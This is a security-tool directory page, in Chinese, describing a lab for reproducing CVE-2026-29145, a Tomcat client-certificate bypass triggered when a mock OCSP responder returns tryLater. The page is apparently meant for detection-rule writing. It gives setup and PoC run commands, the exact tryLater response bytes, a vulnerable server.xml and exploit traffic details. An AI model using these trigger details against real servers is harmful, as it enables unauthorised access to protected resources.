Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29145-Everything — 针对CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP软失败绕过的可复现PoC环境,包含利用脚本、模拟OCSP响应器和Suricata检测规则。 | Kitploit
工具/GitHubGitHub/gkdgkd123/cve-2026-29145-everything
身份验证与授权漏洞分析漏洞利用IDS/IPS规避Web应用程序漏洞利用渗透测试入侵检测学习与教育实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubgkdgkd123/cve-2026-29145-everything

CVE-2026-29145-Everything

针对CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP软失败绕过的可复现PoC环境,包含利用脚本、模拟OCSP响应器和Suricata检测规则。

查看仓库
1363个月前尚未审核

CVE-2026-29145 Everything

Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass 完整复现环境、利用流量包,以及 Suricata 检测规则编写素材。

仅供授权安全研究与检测规则开发。请勿用于未授权系统。


漏洞摘要

项目说明
CVECVE-2026-29145
组件Apache Tomcat / Tomcat Native
类型认证绕过(mTLS / CLIENT_CERT)
CVSS9.1(NVD)/ Moderate(Apache)
影响版本Tomcat 10.1.0-M7–10.1.52、9.0.83–9.0.115、11.0.0-M1–11.0.18;Native 2.0.0–2.0.13 等
修复版本Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+;Native 2.0.14+

漏洞原理

当 Tomcat 启用 CLIENT_CERT 与 OCSP,并配置 ocspSoftFail=false(硬失败) 时,部分 OCSP 失败路径(尤其是响应状态 tryLater)仍未按硬失败处理,导致本应拒绝的客户端证书被接受,受保护资源可被访问。

官方修复(例:Tomcat commit fe26667c)将 FFM 路径对 OCSP TRY_LATER 的处理与 Tomcat Native 对齐。

本仓库实测结论

在 Tomcat 10.1.52 + Tomcat Native 2.0.12 上:

OCSP 行为ocspSoftFail结果
DER tryLater (30 03 0a 01 03)falseHTTP 200 — 绕过成功
HTTP 500falseTLS 拒绝(硬失败生效)
OCSP 超时falseTLS 拒绝
任意失败true200(预期 soft-fail)

关键点:必须返回 RFC 6960 的 tryLater,仅 HTTP 500 不足以触发本环境下的绕过。


仓库内容

CVE-2026-29145-Everything/
├── README.md                 # 本文件
├── REPRODUCTION.md           # 详细复现笔记与 Suricata 提示
├── docker-compose.yml        # 脆弱 Tomcat + Mock OCSP
├── poc_exploit.py            # 利用/检测脚本(exit 10 = 脆弱)
├── simple_proxy_fail.py      # Mock OCSP(fail / succeed / try_later / internal_error)
├── setup_certs.sh            # 生成 CA / 服务端 / 客户端证书(含 OCSP AIA)
├── capture_exploit.sh        # 一键利用并抓包
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # CLIENT-CERT 用户映射
│   ├── ROOT/                 # 官方镜像缺省 ROOT 的最小补丁
│   └── protected/            # 受保护资源 + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ 已抓取的利用流量(写规则用)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # 主包:mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # 仅 OCSP 明文
    ├── CVE-2026-29145-mtls-only.pcap       # 仅 8443 TLS
    └── exploit_response.html               # 利用成功响应快照

证书私钥目录 certs/ 默认被 .gitignore 忽略,需本地生成。


快速开始

依赖

  • Docker / Docker Compose
  • OpenSSL
  • Python 3.7+(pip install -r requirements.txt 或系统 python3-requests)
  • tcpdump(可选,抓包)

一键复现

git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. 生成证书(AIA 指向 Docker 内 OCSP 服务名)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. 启动环境(默认 OCSP_MODE=try_later)
docker compose up -d
# 等待 healthy
docker compose ps

# 3. 运行 PoC
python3 poc_exploit.py
# 期望输出:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 退出码 10 = 脆弱;0 = 不可利用/已修补

手动验证:

curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

抓包(保留流量)

./capture_exploit.sh
# 输出到 pcaps/CVE-2026-29145-*.pcap

仓库中 已附带 一次成功利用的 pcap,可直接用于 Suricata 规则验证,无需重新抓包。


OCSP Mock 模式

# tryLater — CVE 触发路径(默认)
OCSP_MODE=try_later docker compose up -d --force-recreate

# HTTP 500 失败(本环境硬失败会拒绝)
OCSP_MODE=fail docker compose up -d --force-recreate

# 模拟 OCSP 成功(body 非真实 DER,仅测连通)
OCSP_MODE=succeed docker compose up -d --force-recreate

# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate

流量特征(Suricata 素材)

重要: 8443 是 TLS 1.3 加密 的 mTLS,直接用 Wireshark 打开会像乱码。
8888 的 OCSP 是明文 HTTP,写规则应优先看 OCSP。
完整说明见 pcaps/README.md。

推荐文件

文件说明
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log可解密的完整会话
pcaps/CVE-2026-29145-ocsp-only.pcap明文 OCSP(无需密钥)
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txtOCSP HTTP 易读文本
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt解密后业务 HTTP 文本
rules/cve-2026-29145.rules示例 Suricata 规则

OCSP 明文(线上可直接匹配)

POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

解密后的业务 HTTP(需 sslkeys.log)

GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark:Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

详细说明见 REPRODUCTION.md 与 pcaps/README.md。


配置要点(脆弱 server.xml)

<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

应用层 CLIENT-CERT 见 tomcat/protected/WEB-INF/web.xml。


修复建议

  1. 升级 Tomcat 至 10.1.53+(或对应线的修复版本)
  2. 同步升级 Tomcat Native 至 2.0.14+
  3. 复核 ocspSoftFail 策略与 OCSP 可达性;对不可达/tryLater 行为做回归测试

清理

./cleanup.sh
# 或
docker compose down -v

参考

  • Apache Tomcat 10 Security — CVE-2026-29145
  • NVD CVE-2026-29145
  • RFC 6960 OCSP
  • 上游 PoC 骨架:CVE-2026-29145-Tester(本仓库在可复现配置与 tryLater 路径上做了加固与完整记录)

免责声明

本项目仅用于教育、授权渗透测试与入侵检测规则研发。使用者须确保对目标系统拥有合法授权。作者不对任何滥用行为负责。

下载工具